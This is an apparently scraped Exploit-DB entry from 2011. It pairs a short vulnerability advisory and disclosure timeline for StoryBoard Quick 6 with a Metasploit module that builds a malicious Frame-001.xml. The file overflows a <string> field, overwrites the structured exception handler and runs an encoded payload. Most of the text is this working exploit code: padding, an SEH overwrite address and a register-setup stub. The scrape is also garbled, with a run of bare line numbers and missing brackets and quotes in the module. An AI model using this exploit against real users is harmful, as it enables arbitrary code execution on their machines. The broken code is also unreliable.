StoryBoard Quick 6 – Local Stack Buffer Overflow (Metasploit)

Exploit Database
111 阅读

作者： Nick Freeman

日期： 2011-12-01
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18186/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

#NameLStoryBoard Quick 6 Stack Buffer Overflow

#Vendor Website:http://www.powerproduction.com/

#Date Released:29/11/2011

#Affected Software: StoryBoard Quick 6 (potentially also StoryBoard Artist and StoryBoard Studio)

#Researcher: Nick Freeman (nick.freeman@security-assessment.com)

#Description

#Security-Assessment.com has discovered a file format vulnerability in the XML files used to describe frames #in the StoryBoard Quick 6 software. The <string> element used to define a filename was found to be #vulnerable to a buffer overflow, which can be exploited to execute arbitrary code under the context of the #user running StoryBoard Quick 6. Supplying a long file name causes memory corruption within the application.

#By crafting a file that contains more than 507 characters in the <string> field, the StoryBoard Quick 6 #application will use the next 4 characters in an unsafe manner. These four characters are used as a pointer #to the source address for a string copy function. It is possible to write user-supplied data onto the stack #by changing the value of these 4 characters to a memory location containing a pointer to data within the #Frame.xml file. This strcpy function overwrites a significant portion of the stack, including the Structured #Exception Handler.

#Disclosure Timeline:

#Security-Assessment.com practices responsible disclosure and made significant effort to report this #vulnerability to PowerProduction Software.

#13/06/2011: First email sent to PowerProduction, asking for contact details for security or developer #personnel.

#17/06/2011: After several attempts to get in contact, PowerProduction asks me for a customer number.

#17/06/2011: Security-Assessment.com replies stating that this issue is exploitable without a customer number. #No response was received from PowerProduction after this email.

#23/06/2011: Security-Assessment.com sends a follow-up email stating that the vulnerability is still present.

#10/07/2011: A final email is sent stating that PowerProduction customers are vulnerable.

#05/11/11: Vulnerability released at Kiwicon V in Wellington, New Zealand.

#19/11/11: Vulnerability released at Ruxcon 2011 in Melbourne, Australia.

#29/11/11: Vulnerability advisory and exploit code published.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'StoryBoard Quick 6 Memory Corruption Vulnerability',

'Description'=> %q{

This module exploits a stack-based buffer overflow in StoryBoard Quick 6.

'License'=> MSF_LICENSE,

'Author' => [ 'vt [nick.freeman@security-assessment.com]' ],

'Version'=> '$Revision: 10394 $',

'References' =>

[

[ 'URL', 'http://security-assessment.com/files/documents/advisory/StoryBoard_Quick_6-Stack_Buffer_Overflow.pdf' ]

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00",

'DisableNops'=> true,

'EncoderType'=> Msf::Encoder::Type::AlphanumMixed,

'EncoderOptions' =>

{

'BufferRegister' => 'EAX',

}

'Platform' => 'win',

'Targets'=>

[

[ 'Default (WinXP SP3 No DEP)',

{

}

'Privileged' => false,

'DisclosureDate' => 'Nov 30 2011',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.',"Frame-001.xml"]),

], self.class)

end

def exploit

template = %Q|<plist version="1.0">

<dict>

<key>Objects</key>

<array>

<dict>

<key>Library</key>

<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>

<string>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREPLACE_1BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.xo</string>

<key>Colorization</key>

<dict>

<string>fffdd8a1</string>

<key>REPLACE_2</key>

</dict>

<string>LINDA</string>

<key>Scale-X</key>

<key>Scale-Y</key>

<key>Offset-Y</key>

</dict>

<dict>

<key>Library</key>

<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 2.artgrid</string>

<key>Colorization</key>

<dict>

</dict>

<key>Scale-X</key>

<key>Scale-Y</key>

<key>Offset-Y</key>

</dict>

<dict>

<key>IsSelected</key>

REPLACE_3<true/>

<key>Library</key>

<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>

<key>Colorization</key>

<dict>

<string>fffdd8a1</string>

</dict>

<string>LINDA</string>

<key>Scale-X</key>

<key>Scale-Y</key>

<key>Offset-Y</key>

</dict>

</array>

<key>FrameDB</key>

<dict>

<data>

MDYvMDMvMTEgMjM6Mjg6MDMA

</data>

</dict>

<key>UN-Thumb</key>

<true/>

</dict>

</plist>

sploit = template.gsub(/REPLACE_1/, "\xd9\xcf\xe5\x74")

padd = "\x43" * 4256

nseh = "\x90\xeb\x06\x90"

seh= "\x25\x12\xd1\x72" # POP, POP, RETN

nops = "\x90"*9

# set buffer register

bufregstub ="\x8b\xc4" # mov eax, esp

bufregstub += "\x33\xc9" # xor ecx

bufregstub += "\x83\xc1\x7f" # add ecx, 7f

bufregstub += "\x6b\xc9\x17" # imul ecx,17

bufregstub += "\x83\xc1\x7b"# add ecx,7b

bufregstub += "\x03\xc1" # add eax,ecx # eax now points to buffer, ready to decode shellcode.

sploit = sploit.gsub(/REPLACE_2/,padd + nseh + seh + nops + bufregstub + payload.encoded + ("\x44"*(11137-payload.encoded.length)))

sploit = sploit.gsub(/REPLACE_3/, "\x45"*658)

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sploit)

end